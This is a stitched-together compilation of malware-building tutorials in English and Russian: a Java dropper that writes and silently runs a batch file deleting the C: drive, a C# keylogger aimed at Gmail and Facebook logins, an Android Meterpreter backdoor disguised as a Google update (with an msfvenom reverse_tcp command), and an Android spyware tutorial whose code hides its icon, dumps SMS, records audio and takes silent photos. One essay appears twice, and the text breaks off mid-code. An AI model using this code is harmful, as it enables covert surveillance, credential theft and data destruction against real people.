Data Rain
Java attack for windows
Kartik Arora
*The author is not responsible for the use of code or other knowledge in this document. *
Objective
To prove how a virus can be disguised in a simple application made in Java, and how people would
unknowingly download such files which could harm their computers.
Focus
Proving that java can be used for malicious purposes without being detected by the systems anti-
virus.
- Not being detected as a virus by browsers
- Creating a virus file on a victims’ computer
- Running the virus file without the victim noticing
- Disguising the file so that the victim doesn’t notice
- Starting the Command Line through Java
To open the virus, we would be needing control to the command line. Once we have
control of the command line, we have access to most of the average users files and
data.
Runtime run = Runtime.getRuntime();
run.exec(new String[] {"cmd", "/K", "Start"});
The code above is used to start the command line when the jar file is executed. To
delay this process, the thread can be put to sleep using the code :
*Thread.sleep(*Time in seconds*);
- Running commands in the command line
Now that we have access to the command line, we need to be able to run commands
in it. To achieve this, we will be using the Robot class provided by java.
What the Robot class does is simulate the hardware of the victims computer. We
can use this to type in the commands we would like to run.
ControlManager ctr = new ControlManager();
ctr.type("hider.vbs & exit");
This would run the .vbs file created ahead.
“ControlManager” is a class made by me to use the “Robot” class to type in a given
string to the Command Line.
- Creating the virus
We would now create a virus that we would like to execute. It is fairly simple to
make a virus as a .bat file. To create the virus, we use the PrintStream provided by
Java, to create this file.
PrintStream bash = new PrintStream(new File("vs.bat"));
bash.println(@echo offnDel C:*.*/y);
The code above would create a file called “vs.bat” file in the directory the victim
has downloaded the original file in, and would delete the victims “C:” drive when
executed.
- Hiding the virus while it runs
Every time a .bat file is run, it leaves the command line window open while
executing. This would alert the victim, that there is something wrong. To hide our
virus while it executes, we would have to create a .VBS file.
PrintStream vb = new PrintStream(new File("hider.VBS"));
vb.println("Set WshShell = CreateObject("WScript.Shell" )+
nWshShell.Run chr(34) & "vs.bat" & Chr(34), 0 nSet WshShell = Nothing ");
This code above would create a file called “hider.VBS”, which wen executed would
run the “vs.bat” file without keeping the command line open.
Survey
We gave our subjects a situation, where they are working on a project with a peer and their
peer sends them a file saying it’s related to the project.
We asked them if they would download the file if :
- It’s name is project.exe, and their browser gives them no warning?
- It’s name is project.exe, and their browser gives them a warning that it might be
harmful? - It’s name is project.Jar, and their browser gives them no warning?
- It’s name is project.Jar, and their browser gives them a warning that it might be
harmful? - It’s name is project.doc, and their browser gives them a warning that it might be
harmful? - It’s name is project.doc, and their browser gives them no warning?
- It’s name is project.bat, and their browser gives them no warning?
- It’s name is project.bat, and their browser gives them a warning that it might be
harmful?
Conclusion
As I have just shown, viruses can be created using java. These viruses aren’t limited to .bat files,
and can be used as ransomware, Trojans, or any other sort of file that browsers and anti-viruses
usually block. People now are conscious while downloading files such as .exe files and .bat files,
but people usually feel that .jar files are safe to run on their computers.
As the popularity of Java programs increases, so does the threat of such viruses and the average
user of a computer would not know how to detect or prevent these files from running. The security
risk this possesses is immense and people need to be educated regarding such files.
Bibliography
https://superuser.com/questions/233348/how-do-i-create-a-windows-batch-file-that-does-not-
show-the-command-prompt-when
https://docs.oracle.com/javase/7/docs/api/java/awt/Robot.html
https://stackoverflow.com/questions/4688123/how-to-open-the-command-prompt-and-insert-
commands-using-java
Время на прочтение
6 мин
Количество просмотров 134K
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Начнем.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
1. [DllImport("user32.dll")]
2.
3. public static extern int GetAsyncKeyState(Int32 i);
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
1. while (true)
2. {
3. Thread.Sleep(100);
4. for (Int32 i = 0; i < 255; i++)
5. {
6. int state = GetAsyncKeyState(i);
7. if (state == 1 || state == -32767)
8. {
9. Console.WriteLine((Keys)i);
10.
11. }
12. }
13. }
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
1. while (true)
2. {
3. IntPtr handle = GetForegroundWindow();
4. if (GetWindowText(handle, buff, chars) > 0)
5. {
6. string line = buff.ToString();
7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8. {
9. //проверка клавиатуры
10. }
11. }
12. Thread.Sleep(100);
13. }
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
1. //Ищем почтовый адрес
2. ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.
4.
5. //Ищем пароль
6. (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
1. Regex re = new Regex(@"^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3. string email = "Oded.awask@gmail.com";
4. string pass = "abcde3FG";
5. Match result = re.Match(email);
6. Match result2 = re2.Match(pass);
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!
Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.
Что нам понадобится:
Android Studio и Android SDK офф_сайт(
Ссылка скрыта от гостей
)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео
Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как
это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) — это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.
На этом подготовительный этап завершен
Подключить genymotion к Android Studio
Подключить реальный смартфон к Android Studio
Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.
Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку backdooredapk где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.
Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)
Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )
Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)
Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)
Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)
Скопируем разрешение с манифеста в наш проект
Далее осталось подписать наше приложения.
Подписали) Ну что ж давайте протестим.))
На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.
A piece of Java malware can probably perform most, if not all, of the functionality that a piece of C malware can perform.
However, there are a few features of the Java language that probably make malware authors lean towards the likes of C.
Java Virtual Machine Required
A Java program cannot execute on a computer unless a Java Virtual Machine (JVM) is installed on that computer. Writing your malware in Java automatically limits you from any target not running a JVM.
This is different from C or other languages that may be compiled to a native executable that will run on the target system without any additional software.
This doesn’t entirely discount Java as a programming language of choice for would be malware writers however, especially if they were planning on spreading via one of the many Java runtime environment vulnerabilities
Java Virtual Machine Limitations
This JVM requirement can also make it a lot more difficult for a malicious Java application to hide itself. It is relying upon the user’s installed JVM; all they need to do is remove that and they will stop the malware in it’s tracks.
Cross Platform Compatibility is not that simple
By now you may be thinking «Yes, but isn’t it all worth it, to have your malware magically work on all platforms?»
Whilst Java is indeed cross platform compatible (as long as a JVM is available) this might not necessarily mean what you think it means.
For example, a common feature of malware is the ability for it to start when the operating system starts. Java doesn’t not provide a cross platform startWhenComputerStarts
method. So this would still need to be implemented separately for each platform.
A lot of malware will use platform specific bugs or features to hide itself, launch itself on startup and snarf user data. So the author would still have to do this work for each platform!
Also, let us not forget that C code can be compiled to multiple different platforms. Java’s advantage over C is that it can be compiled once and run anywhere but the same C code can still ultimately run on different platforms — just with 1 extra step.
If you think about it, considering that malware is often picked up through signatures, it would make more sense for the author to write individual pieces of malware for each platform. Making detection less likely.
A piece of Java malware can probably perform most, if not all, of the functionality that a piece of C malware can perform.
However, there are a few features of the Java language that probably make malware authors lean towards the likes of C.
Java Virtual Machine Required
A Java program cannot execute on a computer unless a Java Virtual Machine (JVM) is installed on that computer. Writing your malware in Java automatically limits you from any target not running a JVM.
This is different from C or other languages that may be compiled to a native executable that will run on the target system without any additional software.
This doesn’t entirely discount Java as a programming language of choice for would be malware writers however, especially if they were planning on spreading via one of the many Java runtime environment vulnerabilities
Java Virtual Machine Limitations
This JVM requirement can also make it a lot more difficult for a malicious Java application to hide itself. It is relying upon the user’s installed JVM; all they need to do is remove that and they will stop the malware in it’s tracks.
Cross Platform Compatibility is not that simple
By now you may be thinking «Yes, but isn’t it all worth it, to have your malware magically work on all platforms?»
Whilst Java is indeed cross platform compatible (as long as a JVM is available) this might not necessarily mean what you think it means.
For example, a common feature of malware is the ability for it to start when the operating system starts. Java doesn’t not provide a cross platform startWhenComputerStarts
method. So this would still need to be implemented separately for each platform.
A lot of malware will use platform specific bugs or features to hide itself, launch itself on startup and snarf user data. So the author would still have to do this work for each platform!
Also, let us not forget that C code can be compiled to multiple different platforms. Java’s advantage over C is that it can be compiled once and run anywhere but the same C code can still ultimately run on different platforms — just with 1 extra step.
If you think about it, considering that malware is often picked up through signatures, it would make more sense for the author to write individual pieces of malware for each platform. Making detection less likely.
Listen to this article
Как написать троян на Андроид?
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
<uses-permission android:name=»android.permission.ACCESS_COARSE_LOCATION»/>
<uses-permission android:name=»android.permission.ACCESS_FINE_LOCATION» />
<uses-permission android:name=»android.permission.INTERNET» />
<uses-permission android:name=»android.permission.CAMERA» />
<uses-permission android:name=»android.permission.RECORD_AUDIO» />
<uses-permission android:name=»android.permission.RECEIVE_BOOT_COMPLETED»/>
<uses-permission android:name=»android.permission.READ_PHONE_STATE» />
<uses-permission android:name=»android.permission.PROCESS_OUTGOING_CALLS» />
<uses-permission android:name=»android.permission.READ_CONTACTS» />
<uses-permission android:name=»android.permission.READ_SMS» />
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
<activity
android:name=»com.example.app.MainActivity»
android:label=»@string/app_name» >
<intent-filter>
<action android:name=»android.intent.action.MAIN» />
<category android:name=»android.intent.category.LAUNCHER» />
</intent-filter>
</activity>
<service
android:name=»com.example.app.MainService»
android:enabled=»true»
android:exported=»false»>
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
- Запускаем сервис
startService(new Intent(this, MainService.class));
- Отключаем Activtiy
ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime — NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + «/location»
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + » » + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + «/apps»
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + «: » + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
void dumpSMS(Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);
Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);
try {
PrintWriter pw = Files.writeLines(file);
if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
switch (cursor.getColumnName(idx)) {
case «address»:
address = cursor.getString(idx);
break;
case «date»:
date = cursor.getString(idx);
break;
case «body»:
body = cursor.getString(idx);
}
}
if (box.equals(«inbox»)) {
pw.println(«From: » + address);
} else {
pw.println(«To: » + address);
}
String dateString = formatter.format(new Date(Long.valueOf(date)));
pw.println(«Date: » + dateString);
if (body != null) {
pw.println(«Body: » + body.replace(‘n’, ‘ ‘));
} else {
pw.println(«Body: «);
}
pw.println();
} while (cursor.moveToNext());
}
pw.close();
cursor.close();
} catch (Exception e) {}
}
Использовать его следует так:
- Сохраняем список всех полученных СМС
String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»
dumpSMS(context, inboxFile, «inbox»);
- Сохраняем список отправленных СМС
String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;
dumpSMS(context, sentFile, «sent»);
Записи в файле будут выглядеть примерно так:
From: Google
Date: 2018.07.08 06:49:55
Body: [email protected] is your Google verification code.
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
void recordAudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile(file);
try {
recorder.prepare();
} catch (IOException e) {}
recorder.start();
Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, «timer interrupted»);
} finally {
recorder.stop();
recorder.release();
}
}
});
timer.start();
}
Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;
recordAudio(filePrefix + formatter.format(date) + «.mp4», 15);
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;
private String photosDir;
public SilentCamera2(Context context) {
this.context = context;
}
private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice cameraDevice) {
device = cameraDevice;
try {
surfaceTexture = new SurfaceTexture(10);
previewSurface = new Surface(surfaceTexture);
List<Surface> surfaceList = new ArrayList<>();
surfaceList.add(previewSurface);
surfaceList.add(imageReader.getSurface());
cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onDisconnected(CameraDevice cameraDevice) {
}
@Override
public void onError(CameraDevice cameraDevice, int error) {
}
};
private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession captureSession) {
session = captureSession;
try {
request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
request.addTarget(previewSurface);
request.set(CaptureRequest.CONTROL_AF_TRIGGER,
CameraMetadata.CONTROL_AF_TRIGGER_START);
captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
};
private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {
}
};
private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);
Date date = new Date();
String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;
File file = new File(filename);
Image image = imageReader.acquireLatestImage();
try {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
OutputStream os = new FileOutputStream(file);
os.write(bytes);
image.close();
os.close();
} catch (Exception e) {
e.getStackTrace();
}
closeCamera();
}
};
private void takePicture() {
request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
request.addTarget(imageReader.getSurface());
try {
session.capture(request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}
}
private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
}
if (null != imageReader) {
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}
public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;
switch (cam) {
case «front»:
facing = CameraCharacteristics.LENS_FACING_FRONT;
break;
case «back»:
facing = CameraCharacteristics.LENS_FACING_BACK;
break;
default:
return false;
}
CameraManager manager = (CameraManager)
context.getSystemService(Context.CAMERA_SERVICE);
String cameraId = null;
characteristics = null;
try {
for (String id : manager.getCameraIdList()) {
characteristics = manager.getCameraCharacteristics(id);
Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
if (currentFacing != null && currentFacing == facing) {
cameraId = id;
break;
}
}
} catch (Exception e) {
return false;
}
HandlerThread handlerThread = new HandlerThread(«CameraBackground»);
handlerThread.start();
handler = new Handler(handlerThread.getLooper());
imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
try {
manager.openCamera(cameraId, mStateCallback, handler);
- Ждем фокусировку
Thread.sleep(1000);
takePicture();
} catch (Exception e) {
Log.d(TAG, «Can’t open camera: » + e.toString());
return false;
}
return true;
}
private int getOrientation() {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;
switch(rotation){
case Surface.ROTATION_0:
deviceOrientation = 0;
break;
case Surface.ROTATION_90:
deviceOrientation = 90;
break;
case Surface.ROTATION_180:
deviceOrientation = 180;
break;
